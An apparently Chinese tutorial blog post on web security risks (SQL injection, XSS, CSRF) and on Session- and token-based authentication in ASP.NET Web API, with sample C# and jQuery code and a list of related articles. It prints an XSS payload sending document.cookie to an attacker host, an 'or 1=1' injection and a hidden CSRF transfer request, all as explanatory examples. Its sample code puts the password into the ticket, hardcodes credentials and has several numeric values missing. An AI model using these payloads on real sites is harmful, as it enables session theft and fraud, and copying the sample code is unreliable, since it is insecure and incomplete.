一. 常见的安全隐患

 1. SQL注入

常见的案例:

String query = "SELECT * FROM T_User WHERE userID='" + Request["userID"] + "';

这个时候,只需要在传递过来的userID后面加上个: or 1=1,即可以获取T_User表中的所有数据了。

解决方案:参数化查询。

2. 跨站脚本攻击(Cross-Site Scripting (XSS))

允许跨站脚本是Web 2.0时代网站最普遍的问题。如果网站没有对用户提交的数据加以验证而直接输出至网页,那么恶意用户就可以在网页中注入脚本来窃取用户数据。

eg:通过后台代码编写前端代码进行输出

 string page += "<input name='userName' type='TEXT' value='" + request.getParameter("CC") + "'>";

攻击者只要输入以下数据:

'><script>document.location= 'http://www.attacker.com/cgi-bin/cookie.cgi ?foo='+document.cookie</script>'

当该数据被输出到页面的时候,每个访问该页面的用户cookie就自动被提交到了攻击者定义好的网站。

解决方案:输入的数据要进行安全校验和转义

3.跨站请求伪造(Cross-Site Request Forgery (CSRF) )

同样是跨站请求,这种与上面XSS的不同之处在于这个请求是从钓鱼网站上发起的。

比如钓鱼网站包含了下面代码:

<img src="http://example.com/app/transferFunds?amount=1500&amp;destinationAccount=attackersAcct#" width="0" height="0" />

这行代码的作用就是一个在example.com网站的转帐请求,客户访问钓鱼网站时,如果也同时登录了example.com或者保留了example.com的登录状态,那个相应的隐藏请求就会被成功执行。

解决方案:

  使用Token校验,保存好Token,比如:JWT校验。

二. 两类系统要解决的常见问题

1. Web系统

(1).是否登录. 没有登录话是不能进入登录以外的页面,即使访问,也要返回到自动进入登录页面。

(2).是否有权限. 权限的展现分两种:a. 没有权限的话直接不显示. b. 没有权限但是显示,单击的时候提示没有权限。

2.APP接口

(1).接口安全,不是任何人都能访问的,必须登录后才能访问,当然也有一部分不需要登录。

(2).防止接口被知道参数后任何能直接访问,要有校验,即使地址暴露别人也访问不通。

三. 传统的基于Session的校验

1. 前言

  基于Session的校验,通常是用在管理系统中或者网站上,不适用于APP接口或者前后端分离的项目。

PS:复习一下Session的原理:https://www.cnblogs.com/yaopengfei/p/8057176.html

2. 步骤

①:登录成功,将用户信息(一个实体)和该用户对应的权限信息存放到Session中。

②:对所有的页面的展示的地址(前提需要登录后才能显示的),加上一个过滤器,在过滤器中判断该用户是否登录过,没有登录的话直接退回到登录页面。

③:对所有的业务操作的方法加上一个过滤器,在过滤器中判断该用户是否该权限,没有的话,直接提示没有权限。

注:以上②和③中的过滤器里,都需要到Session中取值。

3. 基于Session验证的弊端

①:Session经常过期回收,导致Session为空,是一些业务操作莫名其妙的没法使用。可以改进为使用数据库的Session,会好很多。

②:由于Session的原理可知,在同一个浏览器中,先后用不同账号登录,先登录的账号Session中的信息会被后登陆账号Session中的信息覆盖。

③:每个用户登录一次,就需要往Session做一次记录,而Session默认是保存在服务器内存中的,随着认证的用户增多,服务器端开销明显增大。

④:不能进行负载均衡,保存在内存中,下次还需要到这台服务器上才能拿到授权。

⑤:Session是基于Cookie,如果Cookie被截获,用户很容易受到跨站请求伪造攻击(CSRF)。

四. 传统的基于Token的校验

1. 背景

  APP项目或者其它前后端分离的项目,Session验证用不了,只能用基于token的验证。当然Web项目也可以采用这种方式。

2. 步骤

①:通过账号和密码登录成功,服务端生成一个token(比如:32位不重复的随机字符串)。

②:服务端把该token和用户id保存到数据库(SQLServer或Redis)或者Session中,然后把token值返回给前端。

③:客户端每次请求都带上该token,服务端根据该token来查询是否合法和过期,然后去数据库中查出来用户id进行使用。

3. 弊端

①:验证信息如果存在数据库中,每次都要根据token查用户id,增加了数据库的开销。

②:验证信息如果存在Session中,则增大了服务器端存储的压力。

③:token一旦被截取,就很容易进行跨站请求伪造。

4. 鉴于以上弊端进行思考

①:如果token遵从一定规律,使用对称加密算法来加密用户id生成token,服务器端只要解密该token,就能知道用户id了,不需要额外的开销。 但是,如果对称加密算法泄露了,别人也可以伪造token了。

②:如果我们用非对称加密算法来做呢,保存好秘钥,就不存在上面的问题了,从而引出JWT类似于该原理。

5. 实战案例(基于Token的小升级)

A. 步骤

(1) 登录成功,将账号和密码按照一定格式进行拼接成字符串,然后进行票据加密(对称加密,这其中可以设置很多东西,比如过期时间),将生成的ticket返回给客户端。

(2) 客户端可以把该ticket值存到localstorage中,每次请求在表头进行附加。

(3) 服务器端写一个过滤器,对该ticket进行解密,拿到账号和密码,去数据库中查询,是否匹配,如果匹配则验证通过。

B. 深度分析

同样存在被截取的问题,加密算法如果被人知道,容易被伪造

服务器端验证:见CheckPer0.cs

C. 代码分享

(1). 服务器端校验登录的代码

        /// <summary>
/// 模拟登陆
/// </summary>
/// <param name="userAccount"></param>
/// <param name="pwd"></param>
/// <returns></returns>
[HttpGet]
public string Login0(string userAccount, string pwd)
{
//这里实际应该去数据库验证,此处暂时用固定值写死
if (userAccount == "admin" && pwd == "")
{
FormsAuthenticationTicket ticketObject = new FormsAuthenticationTicket(, userAccount, DateTime.Now, DateTime.Now.AddHours(), true, $"{userAccount}&{pwd}", FormsAuthentication.FormsCookiePath);
var result = new { result = "ok", ticket = FormsAuthentication.Encrypt(ticketObject) };
return JsonConvert.SerializeObject(result);
}
else
{
var result = new { result = "error" };
return JsonConvert.SerializeObject(result);
}
}

(2). 客户端调用登录的代码

  获取成功,将token值存放到localStorage中。

               $.get("/api/Seventh/Login0", { userAccount: "admin", pwd: "" }, function (data) {
var jsonData = JSON.parse(data);
if (jsonData.result == "ok") {
console.log(jsonData.ticket);
//存放到本地缓存中
window.localStorage.setItem("myTicket", jsonData.ticket);
alert("登录成功,ticket=" + jsonData.ticket);
} else {
alert("登录失败");
}
});

(3). 服务器端过滤器代码

  该过滤器中通过 actionContext.Request.Headers.Authorization 获取固定的参数位:Authorization,然后通过 authorizationModel.Parameter 获取参数值,前端需要分割一下,如下:

  当然还有很多别的赋值和获取的方式,详细的见下面章节。

  /// <summary>
/// 基于token的小升级
/// 过滤器
/// </summary>
public class CheckPer0 : AuthorizeAttribute
{
public override void OnAuthorization(HttpActionContext actionContext)
{
//1. 获取报文头(固定的参数位 Authorization)
var authorizationModel = actionContext.Request.Headers.Authorization;
//2. 如果标注了[AllowAnonymous]特性,则不进行验证
if (actionContext.ActionDescriptor.GetCustomAttributes<AllowAnonymousAttribute>(true).Count !=
|| actionContext.ActionDescriptor.ControllerDescriptor.GetCustomAttributes<AllowAnonymousAttribute>(true).Count != )
{
//base.OnAuthorization(actionContext);
}
else if (authorizationModel != null && authorizationModel.Parameter != null)
{
try
{
//逻辑验证
//解密
var strTicket = FormsAuthentication.Decrypt(authorizationModel.Parameter).UserData;
//此处应该去数据库验证
if (strTicket.Equals("admin&123456"))
{
//表示校验通过,用于向控制器中传值
actionContext.RequestContext.RouteData.Values.Add("auth", strTicket);
}
else
{
base.HandleUnauthorizedRequest(actionContext);//返回没有授权
}
}
catch (Exception)
{ base.HandleUnauthorizedRequest(actionContext);//返回没有授权
}
}
}
}

(4). 服务器端加密后获取信息的代码

         /// <summary>
/// 加密后获取信息
/// </summary>
/// <returns></returns>
[HttpGet]
[CheckPer0]
public string GetInfor0()
{
var userData = RequestContext.RouteData.Values["auth"].ToString();
if (string.IsNullOrEmpty(userData))
{
var result = new { Message = "error", data = "" };
return JsonConvert.SerializeObject(result);
}
else
{
var result = new { Message = "ok", data = userData };
return JsonConvert.SerializeObject(result);
}
}

(5). 客户端调用获取信息的代码

                //从本地缓存中读取token值
var myTicket = window.localStorage.getItem("myTicket");
$.ajax({
url: "/api/Seventh/GetInfor0",
type: "Get",
data: {},
datatype: "json",
beforeSend: function (xhr) {
//Authorization 是一个固定的参数位置,本来就有这个参数,后台方便获取,当然也可以自己命名
//在myTicket前面加个BasicAuth1 只是为了后台.Parameter能获取到而已,至于叫什么名,没有关系
xhr.setRequestHeader("Authorization", 'BasicAuth1 ' + myTicket)
},
success: function (data) {
console.log(data);
alert(data);
},
//当安全校验未通过的时候进入这里
error: function (xhr) {
if (xhr.status == ) {
console.log(xhr.responseText);
alert("授权未通过");
}
}
});

(6). 运行结果

!

  • 作       者 : Yaopengfei(姚鹏飞)
  • 博客地址 : http://www.cnblogs.com/yaopengfei/
  • 声     明1 : 本人才疏学浅,用郭德纲的话说“我是一个小学生”,如有错误,欢迎讨论,请勿谩骂^_^。
  • 声     明2 : 原创博客请在转载时保留原文链接或在文章开头加上本人博客地址,否则保留追究法律责任的权利。
 

第八节:常见安全隐患和传统的基于Session和Token的安全校验的更多相关文章

  1. 把传统的基于sql的企业信息中心迁移到spark 架构应该考虑的几点思考...[修改中]

    把传统的基于sql的企业信息中心迁移到spark 架构应该考虑的几点 * 理由: 赶时髦,  这还不够大条么? > 数据都设计为NO-SQL模式, 只有需要search的才建立2级索引. 就可以 ...

  2. 项目一:第十二天 1、常见权限控制方式 2、基于shiro提供url拦截方式验证权限 3、在realm中授权 5、总结验证权限方式(四种) 6、用户注销7、基于treegrid实现菜单展示

    1 课程计划 1. 常见权限控制方式 2. 基于shiro提供url拦截方式验证权限 3. 在realm中授权 4. 基于shiro提供注解方式验证权限 5. 总结验证权限方式(四种) 6. 用户注销 ...

  3. 获取用户Ip地址通用方法常见安全隐患(HTTP_X_FORWARDED_FOR)

    分析过程 这个来自一些项目中,获取用户Ip,进行用户操作行为的记录,是常见并且经常使用的. 一般朋友,都会看到如下通用获取IP地址方法. function getIP() { if (isset($_ ...

  4. 几个常见用于解决nginx负载均衡的session共享问题的办法

    查了一些资料,看了一些别人写的文档,总结如下,实现nginx session的共享: PHP服务器有多台,用nginx做负载均衡,这样同一个IP访问同一个页面会被分配到不同的服务器上,如果sessio ...

  5. iOS常见的几种加密方法(base64.MD5.Token传值.系统指纹验证。。加密)

    普通加密方法是讲密码进行加密后保存到用户偏好设置中 钥匙串是以明文形式保存,但是不知道存放的具体位置 一. base64加密 base64 编码是现代密码学的基础 基本原理: 原本是 8个bit 一组 ...

  6. WebApi系列(从.Net FrameWork 到 .Net Core)

    一. 简介  1. 什么是WebApi? WebApi是一个很广泛的概念,在这里我们特指.Net平台下的Asp.Net WebApi框架,它是针对各种客户端(浏览器.APP等)来构建Http服务的一个 ...

  7. JWT的优点和实现Token认证的安全问题

    JWT的优点和实现Token认证的安全问题 一.什么是JWT JWT——Json web token  是为了在网络应用环境间传递声明而执行的一种基于JSON的开放标准,可实现无状态.分布式的Web应 ...

  8. Django之JWT理解及简单应用

    Json web token (JWT), 是为了在网络应用环境间传递声明而执行的一种基于JSON的开放标准((RFC 7519).该token被设计为紧凑且安全的,特别适用于分布式站点的单点登录(S ...

  9. 你了解JWT吗?

    1. 什么是JWT JWT简称 JSON Web Token,也就是通过 JSON 形式作为 Web 应用中的令牌,用于在各方之间安全地将信息作为 JSON 对象传输.在数据传输过程中还可以完成数据加 ...

随机推荐

  1. 微信小程序上手项目

    小程序刚发布的时候何其风光,可能大家习惯性的对微信给予了过高的期待,加上一开始小程序的功能确实很孱弱,扫了很多人的兴. 经过最开始的热闹和喧嚣,如今微信小程序热度大减,但随着不断迭代,如今小程序的功能 ...

  2. PhpStorm 常用插件

    PhpStorm 插件 Dash : Dash 需要配合软件 Dash 使用. IdeaVim IdeaVim 对于习惯于使用 Vim 操作方式的人来说是个大福音. IdeaVim 也有默认配置, 可 ...

  3. Extjs 在Grid单元中格添加Tooltip提示

    Grid 中的单元格添加Tooltip 的效果 Ext.QuickTips.init(); //必须要… columns: [ { text: 'Name', dataIndex: 'name' }, ...

  4. 【Teradata SQL】字符串分割函数STRTOK和STRTOK_SPLIT_TO_TABLE

    STRTOK函数: 按照指定分隔符,将字符串分割成多个部分,返回指定部分字符串. 参数说明: (1)instring:字符串或字符串表达式. (2)delimiter:分隔符列表,字符串每个字符都会做 ...

  5. USING KERBEROS

    https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/managing_smart_cards/u ...

  6. Kafka leader副本选举与消息丢失场景讨论

    如果某个broker挂了,leader副本在该broker上的分区就要重新进行leader选举.来简要描述下leader选举的过程 1.4.1 KafkaController会监听ZooKeeper的 ...

  7. (转)Cesium教程系列汇总

    https://www.cnblogs.com/fuckgiser/p/5706842.html Cesium系列目录: 演示实例 ExamplesforCesium 最近老实有一些人问我,下载后在本 ...

  8. 前端学习-基础部分-HTML

    开始今日份整理 1.HTML基础标签 1.1 标签 标签格式 HTML规定用英文尖括号,<>包起来,例如<html> HTML中通常标签成对出现,分为开始标签与结束标签,结束标 ...

  9. android 获取通话记录

    在manifest添加以下权限<uses-permission android:name="android.permission.READ_CALL_LOG" />&l ...

  10. Linux 修改本地时间 (centos为例)

    1.  tzselect [root@xxxx etc]# tzselect --- 选择时区命令 Please identify a location so that time zone rules ...